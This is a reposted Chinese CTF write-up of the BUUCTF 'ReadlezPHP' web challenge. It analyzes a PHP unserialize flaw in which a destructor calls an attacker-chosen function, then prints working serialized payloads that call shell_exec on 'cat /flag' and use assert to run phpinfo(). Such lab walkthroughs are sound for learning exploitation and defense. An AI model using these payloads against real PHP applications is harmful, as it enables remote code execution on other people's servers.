【BUUCTF】【WEB】ReadlezPHP
考点打开题目发现页面有点阴森右键没有任何反应那就右上角三个点更多工具-开发者工具OK没有任何线索那就用bp看看。拉倒最下面发现右下角一个文件./time.php?source这可能是一个线索把它放到题目链接后面发现了源码分析一下源码?php #error_reporting(0); // 注释掉错误报告隐藏PHP错误信息增加漏洞利用的隐蔽性 // 定义HelloPhp类 class HelloPhp { public $a; // 公共属性a可被序列化控制 public $b; // 公共属性b可被序列化控制 // 构造函数**仅在正常实例化对象时自动调用**反序列化时不会执行 public function __construct(){ $this-a Y-m-d h:i:s; // 默认赋值为日期格式字符串 $this-b date; // 默认赋值为PHP内置日期函数名 } // 析构函数**对象被销毁时自动调用**脚本执行结束、unset对象等 // 这是漏洞利用的核心触发点 public function __destruct(){ $a $this-a; $b $this-b; echo $b($a); // 【致命危险点】可变函数调用将$b的值作为函数名$a作为参数执行 } } $c new HelloPhp; // 正常实例化会输出当前时间date(Y-m-d h:i:s) // 查看源代码功能传入?source参数即可看到当前文件的完整代码 if(isset($_GET[source])) { highlight_file(__FILE__); die(0); //只要传了source参数脚本会在这里直接终止 } // 【漏洞入口】直接反序列化用户通过GET参数data传入的字符串 // 符号抑制反序列化错误避免暴露漏洞细节 $ppp unserialize($_GET[data]); ?思路攻击者可以通过data参数完全控制反序列化的内容反序列化会恢复一个HelloPhp对象其$a和$b属性完全由攻击者指定脚本执行结束时会自动调用该对象的__destruct()方法方法中的$b($a)是可变函数调用相当于执行任意函数(任意参数)从而实现远程代码执行因此可构造出序列化payload?php class HelloPhp{ public $a cat /flag; // Linux系统查看目录 public $b shell_exec; //将命令输出作为字符串返回 } echo serialize(new HelloPhp); ?O:8:HelloPhp:2:{s:1:a;s:9:cat /flag;s:1:b;s:10:shell_exec;}发现源码中是要将data进行GET传参所以——注意要把source参数去掉不然脚本就没了发现什么都没有可能是shell_exec被过滤了看一下phpinfo()。?php class HelloPhp{ public $a phpinfo(); public $b assert; } echo serialize(new HelloPhp); ?assert()是 PHP 中一个极其危险但在 CTF 中极其常用的函数它的核心能力是将传入的字符串参数当作合法的 PHP 代码直接执行。// 这两行代码效果完全相同 assert(phpinfo();); eval(phpinfo(););O:8:HelloPhp:2:{s:1:a;s:9:phpinfo();s:1:b;s:6:assert;}ctrlF查找一下shell_exec果然被过滤了那就直接查找flag也是找到了哈
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2623742.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!